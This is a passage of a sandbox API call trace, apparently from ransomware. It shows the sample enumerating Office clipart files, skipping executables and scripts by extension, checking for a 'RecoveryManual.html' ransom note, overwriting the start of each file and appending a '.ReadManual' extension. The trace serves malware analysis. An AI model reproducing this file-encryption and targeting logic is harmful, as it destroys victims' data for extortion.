StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.743] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.743] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.743] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.743] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.743] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.743] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.743] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.743] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.743] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" [0266.743] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.ReadManual.5A595725" [0266.744] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.ReadManual.5A595725") returned 87 [0266.744] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38741231539) returned 1 [0266.744] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf")) returned 0x20 [0266.744] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.744] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4200) returned 1 [0266.744] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1068, lpName=0x0) returned 0x184 [0266.744] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.745] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.745] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.747] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.747] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1068) returned 0x2f0000 [0266.747] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.747] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38741590460) returned 1 [0266.747] CloseHandle (hObject=0x184) returned 1 [0266.747] SetSecurityInfo () returned 0x57 [0266.747] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.747] CloseHandle (hObject=0x194) returned 1 [0266.747] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107502.WMF", cAlternateFileName="")) returned 1 [0266.747] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107502.WMF" | out: lpString1="J0107502.WMF") returned="J0107502.WMF" [0266.748] lstrcmpiW (lpString1="J0107502.WMF", lpString2="RecoveryManual.html") returned -1 [0266.748] StrStrIW (lpFirst="J0107502.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.748] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.748] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.748] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.748] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.748] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.748] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.748] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.748] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.748] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.748] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.748] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.748] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.748] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.748] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.748] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" [0266.748] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.ReadManual.5A595725" [0266.748] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.ReadManual.5A595725") returned 87 [0266.748] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38741691359) returned 1 [0266.748] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf")) returned 0x20 [0266.748] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.749] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10836) returned 1 [0266.749] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a54, lpName=0x0) returned 0x184 [0266.749] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.749] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.749] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.751] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.752] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a54) returned 0x2f0000 [0266.752] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.752] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38742061083) returned 1 [0266.752] CloseHandle (hObject=0x184) returned 1 [0266.752] SetSecurityInfo () returned 0x57 [0266.752] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.752] CloseHandle (hObject=0x194) returned 1 [0266.752] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107512.WMF", cAlternateFileName="")) returned 1 [0266.752] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107512.WMF" | out: lpString1="J0107512.WMF") returned="J0107512.WMF" [0266.752] lstrcmpiW (lpString1="J0107512.WMF", lpString2="RecoveryManual.html") returned -1 [0266.752] StrStrIW (lpFirst="J0107512.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.752] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.752] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.752] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.752] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.752] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.752] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.752] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.753] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.753] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.753] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.753] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.753] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.753] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.753] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.753] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" [0266.753] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.ReadManual.5A595725" [0266.753] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.ReadManual.5A595725") returned 87 [0266.753] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38742163841) returned 1 [0266.753] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf")) returned 0x20 [0266.753] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.753] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11404) returned 1 [0266.753] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c8c, lpName=0x0) returned 0x184 [0266.753] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.754] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.754] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.756] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.756] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c8c) returned 0x2f0000 [0266.756] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.756] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38742503054) returned 1 [0266.756] CloseHandle (hObject=0x184) returned 1 [0266.756] SetSecurityInfo () returned 0x57 [0266.756] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.757] CloseHandle (hObject=0x194) returned 1 [0266.757] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107514.WMF", cAlternateFileName="")) returned 1 [0266.757] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107514.WMF" | out: lpString1="J0107514.WMF") returned="J0107514.WMF" [0266.757] lstrcmpiW (lpString1="J0107514.WMF", lpString2="RecoveryManual.html") returned -1 [0266.757] StrStrIW (lpFirst="J0107514.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.757] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.757] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.757] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.757] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.757] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.757] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.757] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.757] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.757] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.757] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.757] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.757] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.757] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.757] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.757] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" [0266.757] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.ReadManual.5A595725" [0266.757] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.ReadManual.5A595725") returned 87 [0266.757] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38742606533) returned 1 [0266.757] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf")) returned 0x20 [0266.758] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.758] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12204) returned 1 [0266.758] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2fac, lpName=0x0) returned 0x184 [0266.758] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.759] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.759] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.761] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.761] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2fac) returned 0x2f0000 [0266.761] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.761] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38743021933) returned 1 [0266.761] CloseHandle (hObject=0x184) returned 1 [0266.762] SetSecurityInfo () returned 0x57 [0266.762] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.762] CloseHandle (hObject=0x194) returned 1 [0266.762] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x36b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107516.WMF", cAlternateFileName="")) returned 1 [0266.762] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107516.WMF" | out: lpString1="J0107516.WMF") returned="J0107516.WMF" [0266.762] lstrcmpiW (lpString1="J0107516.WMF", lpString2="RecoveryManual.html") returned -1 [0266.762] StrStrIW (lpFirst="J0107516.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.762] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.762] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.762] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.762] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.762] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.762] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.762] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.762] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.762] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.762] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.762] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.762] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.762] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.762] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.762] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" [0266.762] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.ReadManual.5A595725" [0266.762] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.ReadManual.5A595725") returned 87 [0266.762] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38743119539) returned 1 [0266.762] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf")) returned 0x20 [0266.763] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.764] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14008) returned 1 [0266.764] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x36b8, lpName=0x0) returned 0x184 [0266.764] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.764] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.764] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.772] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.772] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x36b8) returned 0x2f0000 [0266.773] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.773] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38744147710) returned 1 [0266.773] CloseHandle (hObject=0x184) returned 1 [0266.773] SetSecurityInfo () returned 0x57 [0266.773] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.773] CloseHandle (hObject=0x194) returned 1 [0266.773] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f0c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107526.WMF", cAlternateFileName="")) returned 1 [0266.773] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107526.WMF" | out: lpString1="J0107526.WMF") returned="J0107526.WMF" [0266.773] lstrcmpiW (lpString1="J0107526.WMF", lpString2="RecoveryManual.html") returned -1 [0266.773] StrStrIW (lpFirst="J0107526.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.773] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.773] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.773] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.773] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.773] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.773] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.773] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.773] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.773] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.773] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.773] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.773] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.774] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.774] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.774] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" [0266.774] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.ReadManual.5A595725" [0266.774] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.ReadManual.5A595725") returned 87 [0266.774] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38744246152) returned 1 [0266.774] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft 